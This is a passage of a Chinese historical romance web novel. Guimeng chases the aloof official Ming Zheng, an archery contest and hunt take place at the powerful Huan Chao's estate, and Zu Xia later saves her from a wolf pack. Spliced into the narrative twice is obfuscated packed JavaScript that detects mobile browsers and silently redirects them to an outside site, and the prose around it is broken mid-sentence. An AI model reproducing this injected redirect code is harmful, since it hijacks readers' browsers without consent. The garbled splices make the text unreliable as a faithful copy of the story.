回程时萧益让明铮与祖遐随行伴驾。归梦偶尔掀起车帘,能远远看一眼明铮的背影。苦于没有机会单独相处。 太子仁善,銮驾所到之处,从不愿滋扰百姓,白日间只在马车上歇息。 离开会稽约几十里,一行人休整下马打尖。忽听外围一阵骚动,竟是人潮汹涌,尽朝路边的小茶社围拢而来。 归梦就着紫芽的手喝了口热茶,奇道:“那些是什么人?” “依稀是打北边来的流民。他们流离失所,一路乞讨。咱们前些年自高平来建康的路上也曾见过。” 归梦蹙眉道:“是吗?我倒不曾留意。” 她望见那些流民面有菜色,衣衫褴褛,像是许久都没有吃过饱饭了。 紫芽叹道:“梦娘一路上坐在车中,双脚都未曾沾过泥土。自然也留意不到接触不到这样的人和事。” 归梦撅嘴道:“这话倒像是骂我了。紫芽,咱们可有干粮吗?去分一些给他们。”说着就要下车。 紫芽慌忙拦住:“哎呀,瞧你这说风就是雨的性子!这种事何须你来管?现放着太子在这呢……” 归梦瞧了瞧紫芽,忽问道:“紫芽,我好像没有问过你,你是怎么来侯府的?” “战乱,家贫,幼时与家人从北边流离到高平时,失散了。”紫芽简洁地说。 归梦忍不住伸出手去握一握紫芽的手。难怪,她见了这些流民会心中难过,乃是自伤身世了。 前方羽林卫训练有素,很快有组织地疏散了流民。这件事对归梦来说不过是件小事,并没有太强烈的震撼。 可萧益却因此事大发雷霆。不出门不知天下事。他只知内廷腐败,却不知民生也已凋敝至此。 北来流民竟已流亡到京师附近,围绕在建康城外不得而入。贤德如太子,岂能安坐在高堂之上? 今年的第一场雪已然下过了。 这样寒冷的冬日,没有房屋、炭火、粮食,该如何度过?推己及人,归梦还家后把路上的见闻告知了父母。 谢氏素来广结善缘,连着在瓦官寺设了好几日的粥场,接济穷人。 从会稽回来,父母似乎对归梦的管束也松懈了不少。大抵是因为侯峻的事解决了,而他们也知道归梦已见过祖遐了。 归来的第一日,谢氏便把紫芽叫去问过话了。 明铮那边却并不顺利,归梦几次去寻明铮都吃了闭门羹。门房像是一夜之间不认识她似的,对她不理不睬。 归梦只能算好时辰潜伏在明铮下朝还家的路上。可是近来明铮还家的时间也没有了规律,她常常在府门外等上一个多时辰也不见明铮归来。 这一日,她等到心焦火燥,终于看到明铮所乘的牛车出现在府门外了。 她甫一靠近,明铮的侍从就极敏锐地拦住了她。 归梦沉着气,斥道:“别拦着我,我今日一定要见他!” 那侍从无奈道:“女……公子别强人所难了。大人交代过,不见你。” 归梦眼看着那团朱红色官服的身影已经下了车,即将走进府中。她推不开拦在她面前的侍从,又绕不过去,忍不住大喊道:“远书!我有话跟你说!你站住……明铮!” 明铮的背影竟没有丝毫的停滞,径直走进了门里。 那朱漆大门就在归梦的面前,缓缓地即将合上。 归梦心中升起无边的气馁与幽愤,也不知道哪来的力气,趁着 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明父客气而冷淡:“不巧得很,小儿眼下不便见客。女公子请回。” 他毫不避讳地点破了归梦的女子身份,显然并未留情面。 归梦张了张嘴,还想再说什么。明父已经一边咳嗽一边在下人的搀扶下往里走了。 明铮的贴身侍从不知何时也走了过来,叹了口气劝道:“女公子请吧……” 归梦默然随着他出了府门,忽地驻足,问道:“你叫什么名字?” 那侍从不料归梦忽然问起他的名讳。他一愣,老实答道:“小人名叫靳风。” “好,靳风。我问你,你家主子的心莫非是铁打的吗?还是他全家都是冰雕的人儿?”归梦蹲下身,抽抽噎噎地哭了起来。 这天寒地冻的,她一连等了好几天,好不容易才在今日堵到了明铮。可谁知,一句话都不曾与他说上,就这么被他和他无情冷面的父亲给赶了出来。 靳风不料归梦居然在府门口当街哭了起来,顿时手足无措,又是同情又是无奈:“女公子快别这样……给人看见了不好……” 归梦越想越伤心,哭得愈发大声:“我管不了这许多!他凭什么这么对我?!就因为我骗了他吗?我已经跟他道过歉了……他怎能如此狠心……” 靳风尴尬地四处望望,连声安慰:“您莫要哭了……哎呀,大人他也不只对您一人如此!每个月蓄意接近他的女娘,没有一百也有八十。还有像那王家女公子那般疯狂的,您也是知道的……他向来是一个不理,一个不见……” 归梦腾地站起身,泪眼婆娑道:“你的意思是,在他眼中,我与那些女子并无不同?我不信!” 明明从前他们也曾把酒言欢,推心置腹过。 “那是因为大人以为您是男子。自从知道了您的身份,大人便不可能再与您交往了。” “为何?” 靳风挠挠头:“那还不简单,因为知道你别有居心呗!” 归梦哼了一声:“我别有居心又如何?‘窈窕淑女,君子好逑’,反过来也是一样!我为何就不能追求他?” 纵然其时民风开放,靳风听了这番言论还是忍不住目瞪口呆:“这个……这个……”他半天憋出一句:“身份悬殊。女公子的婚事想来也无法自己做主吧。那又何必来招惹大人呢?” 归梦用手把眼泪一擦,赌气道:“若是为了这个原因,他就太小瞧我了!”她说罢转身就走,奔到道旁树下解了马缰,纵身上马,马鞭一挥径自去了。 她没有携任何随从,就这么一路奔着到了西苑宫门口。 37. 黯销魂 黄昏暮色之中,归梦打马疾行,长发随风飞扬。 明铮,你不见我,可我偏要见到你!就算你视我为洪水猛兽,我也非要你心悦于我不可! 萧益见到归梦颇为意外:“怎地这时忽然来了?再晚些宫门可要下钥了。”他又见归梦一身男装打扮,不禁笑道:“你这一身男装,是打哪来?” 归梦也不解释,只是恭恭敬敬地行了一个大礼。 萧益连忙扶起她:“有事但说无妨,何须行此大礼?” 归梦可怜兮兮地把来意说明了。 萧益沉吟道:“眼下无年无节的,没有理由兴办宴会。你若是喜欢哪家子弟不妨告诉我,我传他入宫与你相见就是了。” “不!”归梦摇摇头。她可不想弄巧成拙,万一惹得明铮讨厌她了却如何是好……眼下这法子尽管笨一些,但至少不那么刻意。 萧益失笑道:“说了半天,你还是不曾告诉我,你到底心悦哪家的儿郎了?” 归梦扁着嘴道:“您就别问了。眼下八字还没有一撇呢,说出来徒惹烦恼。总之,上次在表兄庄园的那些人,您尽数请来就是了。” “你啊你,尽给我出难题。那就这样吧——过两日桓超约了我田猎,届时我多邀些人来,你好好把握。” 归梦展颜一笑:“多谢太子哥哥!” 萧益摆摆手:“我这个冰人是当定了,来日莫忘了请我一杯谢媒酒就是了。” 何止是谢媒酒?算起来,明铮可是萧益的内弟呢,自己的内弟与表妹在一起。到时候不知道他作何感想?归梦喜滋滋地想到了遥远的未来。仿佛她与明铮成亲就在眼前了。 其时田猎之风在贵族间极盛,但终归是男人的游戏。归梦回到建康几年,还从未参与过田猎。 此次田猎乃是在建康城郊,桓超的庄园内。 桓超,当今皇帝的妹婿,乐阳长公主的驸马,也是权倾朝野的第一权臣。近日又招降了侯峻,桓氏的风头之盛,几乎要把王、谢、岑三家都比下去。 过去归梦只在宴会中远远见过他,面目模糊。田猎这一日,她终于近距离地见到了这位权臣。 旭日东升,射鹿台上。 桓超高坐主位,他相貌威武,一双斜眉入鬓,目蕴精光,鼻如鹰钩,白面敷粉,下颌长须修得整整齐齐,衣衫鲜亮华贵,言谈举止间,精神似少年人般健旺。 萧益果然如约叫来了明铮等人。只是不出意外的,夏侯权、王子野兄妹、张绮彤、云蔷等人也都来了。 有这么多年轻女娘在,归梦不用担心太露痕迹。明铮一定不会怀疑这是她苦心安排的。 只是还有一个人也来了。归梦每次看到祖遐,总是觉得有些怪怪的。他与她的婚约,虽无定论,但始终都悬在她心头。 祖遐每次看她的眼神,也让她怀疑,他早就知道些什么。 高台上桓超击了击掌,上百名训练有素,身着暗赭色盔甲的精兵迅速列队,步伐整齐划一。再一挥手,后方又有几十骑骑兵奔了过来,人既矫健,马亦雄峻,拉马分作两队,立于步兵之后。 步兵骑兵皆佩刀兵,光亮的尖刃在朝阳下折射出刺眼光芒。 桓超笑道:“为保殿下安全,今日田猎特调遣一百五十名北府兵至此。” 归梦心中一惊。 这竟是北府兵!当初由她岑家曾祖一首创立,后兵权旁落,辗转到了桓超手中的北府兵! 萧益微笑颔首:“确是精兵。只是……”他斟酌道:“北府兵一贯镇守京口,单为了田猎之兴便调遣至此,是否太兴师动众了?” 桓超伸手捋了捋修剪齐整的长须,不以为意道:“殿下多虑,北府兵足有三千。区区一百五十名,绝不至动摇根本。” 当下笑着将话题转到别处。 祖遐忽插口道:“虽只一百五十名,但御前露刃,也是不合规矩。还请桓公命士兵们收兵卸甲。”他说着目光不闪不避,直视着桓超。 场内鸦雀无声,桓超无法回避,随即笑道:“士稚提醒的是,老夫竟忘了。”说着便欲起身朝太子跪拜下去:“殿下恕罪……”然而他甫欠了欠身子,太子便已抬手示意他免礼:“姑父不必如此。” 众人心知,桓超自恃身分权位,行礼不过是惺惺作态,连太子都要敬他三分。 他谈笑自若,与太子相处丝毫不落下风,甚至气势上隐隐有压倒之势。 门阀权贵,连皇家都免不了要依附拉拢。 归梦胸中忿忿,不自觉又瞥了明铮一眼。这种场合,他大约又是韬光养晦,绝不会如祖遐那般率性直言。他是那样隐忍的性子……一想到他这样的性子,她就又气又恨,她平生绝不受窝囊气,可偏偏这个人她又爱得要命。 田猎之前,诸人先下了校场小试身手。 校场内草靶林立,一旁马厩中养着十几匹膘肥体壮的骏马,一望即知是名种。 夏侯权向来趋奉桓超,又仗着是太子妃弟弟的身份,自是不把大部分的士族子弟放在眼中。况且那次在谢炅庄园,他受了祖遐挤兑。 今日又见祖遐面对桓超也不卑不亢,进退得宜,而桓超竟也对祖遐客客气气,心中便愈发忌恨。 他率先取过一张赤漆犀角长弓,搭弓射箭,正中草垛中心。旁边几名士族子弟立时奉承叫好,不住口地夸赞夏侯权权不愧是将门出身。 夏侯权傲然一笑,嘴上却谦虚几句。他见祖遐安坐一隅与明铮交谈,似乎压根没有注意到他,不由怒从心头起,走到祖遐身侧挑衅:“祖兄长年带兵,必然是弓马娴熟了。何不下场,给我们露一手瞧瞧?” 王子野在旁瞧得分明,立时打蛇随棍上。他笑道:“说得正是!祖兄与夏侯兄均是将门虎子,怎可不比试较量一番!” 祖遐像是没听见似的,一心饮茶,不置可否。 明铮开口道:“祖兄重伤方愈……” 王子野一拍脑袋:“哎呀,小弟竟忘了祖兄有伤,该打该打!说起来,明兄你与祖兄最是要好,不如你替他下场试试?” 王子野唯恐天下不乱,他明知夏侯权妒忌祖遐与明铮,两句话便拱起火来捎带上明铮。 明铮正要回答,却听夏侯权嗤笑道:“可不是什么人都配与我较量!若是祖兄当真伤得连弓也拉不起来,那我也……” “比就比,啰嗦什么。”祖遐霍然起身,两道冷电似的目光射了过来,夏侯权下半句话顿时噎在嘴里,说不出了。 祖明二人对视一眼。祖遐微微一笑,随手从一旁取了一张弓,神色自若地拉弓试了试弦力。 他转头面向夏侯权,嘴角勾起:“想怎么比,我都奉陪。” 在场众人心知肚明,夏侯权与祖遐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610684|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比试,是自取其辱。他无非是趁人之危,欺祖遐重伤未彻底痊愈,来谋求一些胜算罢了。 太子见状也是暗暗摇头,正想出言斡旋一番,却听桓超哈哈大笑道:“好啊,后生可畏。老夫也有许多年不曾见士稚射箭了。想当年,老夫与你父亲,还有夏侯老将军也曾一同围猎行军……人生如朝露,且看今日围场,是谁家之天下!” 桓超此言一出,在场小辈均坐不住了,不论射术高低,总要下场一试。 夏侯权一意压伏众人,出尽风头。 “便比斗射雁,每人十支箭矢,猎得羽数多者为胜,如何?” 如今北雁南飞,正是射雁的时节。 夏侯权心思险恶。射雁所需的力道、体力远胜于射靶。他明知祖遐重伤初愈,气力不济,还故意提议射雁。 祖遐漠然一笑:“悉听尊便。” 明铮忽道:“小弟并非质疑夏侯兄,只是有一疑惑,倘若夏侯兄与祖兄皆猎得十羽,又当如何?” 夏侯权随口道:“那自然算是平手,便再行比过,总归能分出胜负的。” 明铮微笑道:“是,只是恐怕天上并无那许多雁儿供夏侯兄射猎。既是切磋射艺,小弟倒有个提议……” 夏侯权冷冷打断:“凭你也配来支使我?” 归梦见不得任何人轻贱明铮,立时便要发作。但顾忌着在场人多。她侧首看了看太子萧益,果然他也面露不豫。 夏侯权与明铮皆是太子的内弟,太子本想一碗水端平,奈何夏侯权实在不上进,明铮又过于优异。夏侯权对明铮的嫉恨与排挤是由来已久了。 萧益轻咳一声:“权弟。”他开口缓和气氛,温声对明铮道:“远书,你说来听听。” “是。”明铮躬身拱手,接着道:“臣曾在军中见过祖兄与士兵练习射艺,那法子颇为有趣,令臣印象深刻。” 他话音方落,归梦便好奇道:“哦?是什么法子?”她率先作出十分感兴趣的样子,很是捧场。 明铮道:“这便要请祖兄来演示了。”说完,他与众人皆将目光投向祖遐。 祖遐心知明铮从不愿出头引人注目,今日甘心被夏侯权冷言冷语挤兑,全是为着自己的身子着想。他自然是很承他的情。 冬日的淡薄日光透出云层。 祖遐已弯弓在手。明铮走到百步之外,朝他轻轻颔首。 只见明铮手上托着一个不大不小约莫一尺高的漆黑瓦罐,用力朝天上扔去。 祖遐耳尖微动,听声辨位,弓如霹雳弦惊,箭矢破空而去,正中瓦罐。羽箭刺破瓦罐,余力不绝,直钉入一旁的立柱之上。 归梦惊叹之下,忍不住鼓掌叫好。 众人也皆赞叹。 夏侯权敷了脂粉的脸满是骄矜:“不就是射瓦罐吗?有何足道?” 归梦见不惯他张狂的样子,出言讥道:“人家方才可是背对着射中的,你有这本事吗?” 夏侯权嘴硬道:“笑话,区区一个瓦罐谁还射不中!来人,再拿个瓦罐来!” “夏侯兄慢来!请看这里。”明铮笑着走到立柱之前朝他招手。 归梦忍不住也移步过去。一看之下,惊得说不出话来。简直佩服得五体投地。 立柱上的羽箭兀自颤动不休。箭尖半嵌入立柱之中,箭尖之下赫然压着一枚铜钱。 38. 黯销魂(二) 原来,明铮在瓦罐中放了一枚铜钱,瓦罐被扔起时,铜钱在罐中滚动,撞击罐壁,叮铃作响。 祖遐那一箭,在众人看来是射中瓦罐,实则是射中了瓦罐里那枚铜钱中心的孔洞,羽箭贯穿了铜钱再钉入立柱之上,这比单纯射中瓦罐难了何止百倍千倍。 夏侯权脸都绿了,哑口无言。他不承想祖遐的射术竟然已到了如此境界,恐怕他这辈子都难以望其项背。当下艰难地朝祖遐拱拱手,勉为其难地含混道:“祖兄技高一筹,我认输了。” 众人见识了祖遐的神射技艺,均是赞不绝口,叹为观止。 祖遐面上却是淡淡的,不骄不喜,只是与明铮并肩回座饮茶。 归梦看在眼中,心道:这人的个性倒是不讨厌。 王子野笑着举杯:“听闻祖兄驻守北地多年,北地的风味美食必是如数家珍了。今日桓公特命人快马运来北地的胡荽。祖兄不可不尝。” 说着,已有两队侍女翩翩而入,流水般地将美食送了上来。 当先一道便是那样胡荽。众人好奇之下,纷纷举筷。 归梦仔细看去,这胡荽根茎细长,薄薄的翠绿叶片像扇形,边缘呈锯齿状,加了盐烹调,尝在口中倒有股奇异的香气。像是香料似的。她吃不习惯,勉强嚼了几口咽下肚去。 徐三郎一尝之下却是赞不绝口:“果真风味独特!纵是八百里加急也不枉了。托桓公的福,今日能吃到这北地绝味。” 众人均附和不已。唯独太子、明铮与祖遐不语。 王子野见祖遐动也不动那道胡荽,含笑问道:“祖兄觉得这胡荽如何?” 祖遐眉不动眼不抬,淡淡道:“自然是好的。我在北地之时,常见牧民放牧,牛羊都对这胡荽贪恋得很呢!” 归梦再也忍不住,扑哧一声笑了出来。 王子野神色尴尬,众人闻言也有些愕然。众人桌上那道胡荽顿时被冷落了下来,再也无人问津。 归梦低头伸手掩唇,仍是偷笑不止。这祖遐当真了得,一句话便讥刺得这些穷奢极欲的士族子弟颜面尽失哑口无言。 就连王子野这样伶牙俐齿的都没了言语。 桓超却是一笑置之,浑若无事地将话头转开。 午宴之后,田猎开始,随行的羽林卫将大批野兽禽类赶入围场,好让众人猎个痛快。 归梦的目光始终追随着明铮的身影,可惜,目不能及的视线之外,他骑着马追着猎物很快就消失在旷野中。 坐于高台休憩的一众贵女又分成了两个阵营。一边以云蔷、王如芝、张绮彤为首,热热闹闹有说有笑的。另一边是归梦一人,独坐一隅自斟自饮。 王如芝记恨前事,率先开口发难:“哎哟,某些人的眼珠子都快掉出来了!可惜啊,人家看都没看她一眼!” 归梦被戳中心事,握着茶盏的手在空中一滞。 紫芽在旁,用小银锤敲破一个核桃,把核桃仁放在归梦面前的盘子里,低声道:“梦娘别理她,她就是要故意气你。明公子向来目不斜视,从不多瞧女子一眼……” 云蔷听王如芝说的话,不明就里:“王家姊姊,这是冲谁呢?” 张绮彤笑道:“原来公主竟不知道?”她笑着附在云蔷耳边低语了几句,边说还边瞅一眼归梦。 云蔷若有所思地看了看归梦,面上慢慢浮起意味深长的笑。 “恐怕今日这田猎也是别有用心呢!田猎一贯是他们男子的事,何必把我们拘了来呢。依我看,太子殿下是给某人打掩护吧……” 归梦默默拈起盘中的核桃仁,丢进嘴里,细细嚼完,用帕子拭了拭嘴和手,顺手捞起桌上的小银锤,起身朝王如芝走去。 紫芽见势连忙跟上。 王如芝等一众女子齐刷刷地望着归梦。王如芝见归梦就站在她面前,居高临下地望着她,又见归梦手中握着一把小银锤,不由有些发慌:“你想做什么?” “你方才说什么?再说一遍。”归梦逼视王如芝道:“你说我可以,但是你竟敢随便攀扯太子,是不是吃了熊心豹子胆?” 王如芝不服,张口欲辩,却被张绮彤劝住了。 归梦这一日为方便骑马,特地穿了件窄袖褚橙色暗如意纹上衣并同色蜀锦裤,满头青丝攒成乌黑圆髻,只插戴了一只缠丝梅花金钗。烈阳下她的褚橙色衣裳仿佛被镶了一圈光芒,显得格外明艳照人。 她目光澄澈,大声对众女道:“你们若要嚼舌根就冲我一人来,别没的污了旁人名声。若再让我听见,我锤掉她的牙!”说着把小银锤重重朝桌案上一搁。 她说完转身下了高台,马鞭一挥纵身上马,朝远处驰去。 徒留众女一脸愕然。 为什么她听到别人提起明铮就会觉得不舒服。她喜欢他,可是带给他麻烦了吗?她压不住心里的烦躁。她喜欢他,并不是一件丢脸的事。难道在旁人眼里,她配不上他?还是说,在旁人看来,她不过是痴人说梦? 明铮的随从靳风是这样想的,似乎王如芝她们也是这样想的。 归梦一口气奔出很远,耳边呼呼的风声,她在马背上颠得都有些头晕了。四下望去,旷野之上看不到什么人影。这围场确实很大。 她放慢步伐,只慢慢地催马前行。这马是她在围场随意挑的,并非是她家中豢养惯常骑的那匹。 检查了下马鞍,鞍鞯旁还挂着弓箭,箭袋里约莫有十支羽箭。 她的骑射功夫一般,对狩猎也浑无兴趣。但是想着明铮或许就在前面的树林中,便打马前行。 刚入林中,归梦莫名感觉到一股寒意。前方有马蹄声传来,她忍不住循声而去。 树木林立间,她隐约看见一个绛紫色的身影骑着马一闪而过。今日,只有王子野穿了绛紫色的衣衫。 空气中传来羽箭穿林而过的声音,沙沙的,却并未射中什么目标。她催马靠近,却见王子野张弓搭箭,正瞄准了不远处的一个白衣身影。 那是明铮! 归梦在王子野的斜后方,眼看着他拉满弓弦,箭矢就要脱手而去。她心中万分焦急,急急纵马上前,口中大喊:“小心!” 然而已然迟了,就在她喊出声的瞬间,羽箭“咻”地破空而去。 明铮闻声回头,反应极快。他侧身堪堪避过那支力道十足的箭,“嗤”地一声,箭头划破了他肩头的衣衫,钉入他身后的一棵树干中。 王子野缓缓放下弓,回头见归梦正赶了上来,经过他,急驰到明铮身边。 归梦在明铮身侧勒住马,焦急关心道:“你没事吧?” 明铮伸手摸了摸肩头被刮破的地方,摇摇头。 归梦气不过,掉头正要找王子野算账,却见他不紧不慢地催马过来。 王子野击掌赞道:“明兄真是好身手。这么快的箭也能躲过。” 明铮见那支羽箭钉在树干上兀自颤动不已。他面上看不出惊怒,仍是情绪平和地问:“王兄这是何意?” 王子野笑着致歉:“对不住,方才看见一头獐子窜过去,不想竟失手险些误伤了明兄你。” 归梦接口叱道:“你撒谎,你明明就是故意的!”说着怒目而视王子野。 王子野看着明铮,一脸无辜:“小弟确是眼花手滑失了准头。明兄若要怪罪,但凭责罚。” “你……”归梦气得说不出话来,这人也太无耻。 明铮沉默片刻,忽而淡淡一笑:“罢了。我相信王兄是无心之过。毕竟这是桓公的猎场。王兄纵然对我有什么不满,也不会愚蠢到在这里动手。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那是因为他有自知之明。就他那破落户的寒门出身,若不是靠着他家姊,又有太子抬举他,他这辈子恐怕连建康城都入不了。纵然是他人品才学样貌皆出类拔萃,没有好的家世,也只能谨小慎微地活着。你俩注定无缘,他娶不了你,自然也就不敢招惹你。” 王子野三言两语道破了事实,归梦听得心中难受,却仍是嘴硬道:“不关你的事!” “我喜欢你,自然关我的事。他娶不了你,但我可以。论相貌才学,我不在他之下。论家世,我琅琊王氏尚且比你高平岑氏要尊贵几分。况且……”王子野看了看归梦,笑道:“你这样的脾气,明铮他能为你托得了底吗?你嫁给我,才是上上之选。放眼天下,我琅琊王氏解决不了的事恐怕还不多。” 归梦冷笑道:“你以为,谁都和你一样工于算计?你说得好听,恐怕对你来说娶我才是上上之选吧?你和王如芝这对兄妹,在建康城中也算是奇葩了。明明早就到了婚配的年纪却没个正形。我听说你的生母原不过是名侍妾,前些年才填房抬了正室。你房中姬妾众多,丫鬟通房一大堆。我再愚蠢也不会嫁给你这样一个玩世不恭的浪荡子!” 她本不想说这些话,但碍于王子野苦苦纠缠,索性撕破脸了。 王子野一怔,凤眼中闪过一抹恨意,显然是不喜他人提及自己的出身。但那恨意只是一闪而过,他笑笑:“你倒是对我很了解。打听了我这些事,还说对我没意思?” 他顿了顿,信誓旦旦地说:“你若愿嫁我,我保证将一众姬妾都遣散了。只好好对你一个,如何?” 归梦见他难得流露出认真的神色,倒也有些意外。她素来耿直,不愿拖泥带水,当下摇摇头道:“你莫在我身上费什么心思了。” 王子野失望之余,忽笑道:“你定是生平日子过得太顺了,非要找些苦头吃。所以才会喜欢明铮那种表面谦恭实则冷淡的样子。女人啊女人,就是犯贱。” 归梦闻言来了气,反唇相讥:“这话我完封不动地送还给你。你好好回家左拥右抱享你的齐人之福,何苦犯贱纠缠我?”说完用力抽回马鞭,拍马而去。 身后传来王子野有些阴沉沉的声音:“我就等着看——你一意孤行的结果。” 39. 西风猎 归梦急于避开王子野,胡乱催马在林中一阵乱走。哪知这林子竟然又深又密,她渐渐迷失了方向。眼见着天边的日头就要落下去了,不由得开始心慌。 她座下这匹马似乎也已经奔走得累了,开始有些不安分。归梦轻轻抚了抚马儿的鬃毛,喃喃自语:“好马儿,若是连你也不肯陪我,我可真就没辙了……” 这马鞍上配的布袋里除了弓箭,什么也没有。她已有两个时辰没有进食饮水了。原本娇嫩的嘴唇已经干燥起皮。 没吃没喝倒也罢了。只身一人,在这偌大的林子中,一点点风吹草动都令她如惊弓之鸟。真后悔一个人匆忙出来,若是紫芽也在,至少不会那么害怕。 没奈何,她伸手摘了几根草,心中默念:祖师爷和师父保佑,让我卜出正确的方向走出这林子。 归梦将手中杂草一撒,得出震卦。八卦之中,震位在东方。 归梦抬头望了望天,林中高大的树木枝叶厚密,把本就不够热烈的阳光也遮住了大半。实在难以准确辨认东南西北。 她有些懊恼,扬起马鞭狠狠朝前方的灌木丛打去。尘泥草叶被抽打得扬起,惊起了灌木丛中一团白色的小东西,它飞快地向前窜动。归梦一眼瞥见,是只皮毛灰白的野兔,煞是可爱。 她素来喜爱这些这毛茸茸的小兽,不自觉追着那野兔而去,却听到侧前方传来箭啸声。 不好,有人要猎杀这只兔子! 归梦的恻隐之心动了,想也没想便纵马而上。此时又有一支羽箭破空而来。她本能地低下身子,紧紧趴伏在马背之上,吓得尖叫出声。 马儿像是受了惊,忽地前蹄高高扬起,差点把归梦甩下马背。紧接着又发疯似的狂奔起来,飞快地穿梭在密林之中,沿途横亘的枝叶尖锐锋利,“嗤嗤”刮破她的外袍。 归梦大声呼喝想让马儿停下,她尝试勒紧缰绳,却不起作用,吓得六神无主,只能牢牢抱着马脖子。 马儿狂奔不休,忽地踩中了林中的一个陷坑,前腿软倒,归梦身子颠起前倾,瞬间被甩下马来。 “啊——” 就在归梦行将摔下来的瞬间,她听到身后有紧密急促的马蹄声传来,一个强而有力的臂膀抓住了她的后心,一把将她揽带了过去。 她吓得紧紧闭上双眼,直到发觉自己并未摔下去,而是已经被稳稳地放在了另一匹马的马背上,才敢睁开眼睛。 耳边有低沉的男声传来:“骑术不佳就不要逞强做善事。” 归梦惊魂未定地侧过头看去,正好对上那双幽黑深沉的眼眸。是他!祖遐薄唇紧抿,眼含戏谑地注视着她。 她回过头,压着心中的失望,又觉得自己有些好笑。她在期待什么呢,难道还幻想来救她的是明铮吗? 祖遐见她低头不语,又看到她被树枝勾破的衣袖,补了句:“可受伤了?” 归梦摇摇头,她这才发觉自己就坐在祖遐的身前。二人共乘一骑,距离很近。她的后背几乎就贴着祖遐的胸膛。而祖遐攥着马缰就像是在怀抱着她一样。她缩了缩身体:“多谢你救了我,我可以自己走。” “不必,你的马是被我误伤才受惊的。”祖遐说完勒紧马缰停了下来,翻身下马。 他看出她忌讳男女大防不愿与他共乘的心思,两道浓眉一轩:“我来牵马。”语气强硬不容拒绝。 归梦无力抗议,她已是精疲力尽,还不知要走多久才能出这密林,她不想逞强。 俩人就这样,一个牵着马默默在前走着,一个无言坐在马背上。 二人一马,默然前行。 祖遐细心地避开了密林中尖锐横生和低垂的树枝,免得刮到归梦。 归梦口渴到了极点,忍不住舔了舔干涸的嘴唇。 祖遐伸手从马鞍上解下一个水囊袋递给她。 归梦微微诧异地接过。这人莫非背后长了眼? 她实在渴极了,顾不得去想许多,拔掉水囊塞子,仰起脖子就往嘴里灌。 辛辣刺激的液体直冲进喉咙,她毫无准备,被呛得连连咳嗽。 这哪是水,根本就是酒!还是不够甘醇的劣等酒! 祖遐回头,看看她的窘状,眼里闪过促狭笑意,仿佛在说:我可没说这是水。 归梦轻哼一声,没好气地把水囊丢还给他。 方才猛喝了一口酒,好像一团烈火顺着喉咙钻入了腹中,烧得她整个人都热起来了,倒是不觉得冷了。 他接住囊袋,问道:“为什么要去救那只野兔?” 归梦淡淡道:“没什么,想救就救了。只是想着是一条性命。” 祖遐停下脚步,看着她:“就像你救我祖母一样吗?” 归梦倒也不算很意外:“你知道了?” “她把你夸的天上有地上无,我岂能不知。”祖遐拔掉塞口,仰脖饮了一口酒。 他既然知道这件事,那必然也知道祖太君有意联姻的事了。归梦在心里默默盘算着。 不知道他是怎么想的,若是他没有异议,那可有些麻烦。 可若现下贸然开口问他,也有些唐突,引起他误会那就不好了…… 天色已经完全黑沉了,这林子好像大得无边无际似的,走了许久也还未走出。枝头扑棱棱飞过几只乌鸦,让人胆颤心惊。 归梦将领口紧了紧,双手抱住胳膊,一切还是等出去再说吧。 祖遐在前牵马,因着天黑,速度也慢了下来。他背对着她,她可以理所当然地审视着他沉默的背影。他似乎很喜欢穿玄色衣衫,两次见他他都是穿着玄色的劲装,不像一般士族公子那样穿着宽袍大袖,轻裘缓带以彰显身份,却显得十分干练。 他玄色的背影几乎与夜色融为一体。相比明铮而言,祖遐的身材更健硕一些,肩宽背阔,更为高大挺拔。 归梦忍不住暗骂自己,为什么她总忍不住把旁人与明铮放在一起比较?明铮对她如此冷淡,可她竟是一刻也放不开抛不下。 夜晚林中的风格外阴冷,不远处似乎传来野兽的嚎叫声。 归梦只觉后脖颈的寒毛都竖了起来,手掌心也渐渐出了些冷汗。 他们借着一点月光摸黑前行,好不容易走出了密林,眼前又是一片旷野。 几声“嗷呜”的声音响起,越来越近,黑夜中似乎有点点绿光朝他们围了过来。 不,那不是绿光,而是一双双饥饿充满渴望的眼睛! 祖遐敏锐地警觉到了危险,果断地利落上马,从马鞍旁抽出弓箭,听声辨位,瞬间拉满弓弦,箭如流星般射出。 羽箭划破夜空,很快有野兽哀嚎呜咽的声音响起。 “是什么?”归梦紧张地问。 “狼群。”祖遐简短答道。他双腿一夹马身,马儿立时如离弦之箭般疾驰起来,听话地在旷野中飞快奔跑着。 冷风呼呼迎面刮来,刮得归梦嫩脸生疼,也吹得凌乱的长发随风飞扬。 她一颗心扑通扑通狂跳,又是紧张又是害怕。在这无边的黑夜中,骑着马逃离狼群的追赶,这是她这辈子第一次有如此惊险的体验。 “怕了吗?”他低低问道,不知道是不是因为风声太响掩埋扭曲了他的声音,他像是在笑。 “才没有!”归梦心里纵然是怕,嘴上也仍是强硬。 “你总那么喜欢逞强吗?”他嘴上说话,手上却不停歇,谈笑间箭矢射出如流星赶月。 “射杀了一头,会引来群狼。”他解释着,再次张弓搭箭,朝身后追赶的狼群射去。 他眼明心亮,力到箭发,连珠箭射了出去,又射伤了几头。 归梦看了看箭袋,已是空空如也。 他只剩手上最后一支箭了。 归梦低声道:“我幼时听师傅说,狼这畜生生性自私,只要射杀了领头的头狼,余下的狼群便会作鸟兽散了……” 祖遐嘴角弯起一丝弧度:“所以你最好祈祷,我这最后一支箭瞄准的是头狼。”他微眯起一只眼,手指一松,箭从指间飞出,在奔跑的马后,又一只追赶的狼应声倒地。 狼群间一阵骚动,低吼声响起,渐渐停止了追逐。看样子,头狼已被射杀。 归梦惊喜叫道:“它们不追了!” 祖遐噙着笑缓缓放下长弓,松懈下来。他右边的手无力地垂下,眉头慢慢皱起,像是在忍受着痛苦。 “你受伤了?” “无妨,是旧伤。”他改用左手勒住缰绳,右边身体却忍不住地松垮下去,额头上也渐渐出了些汗。 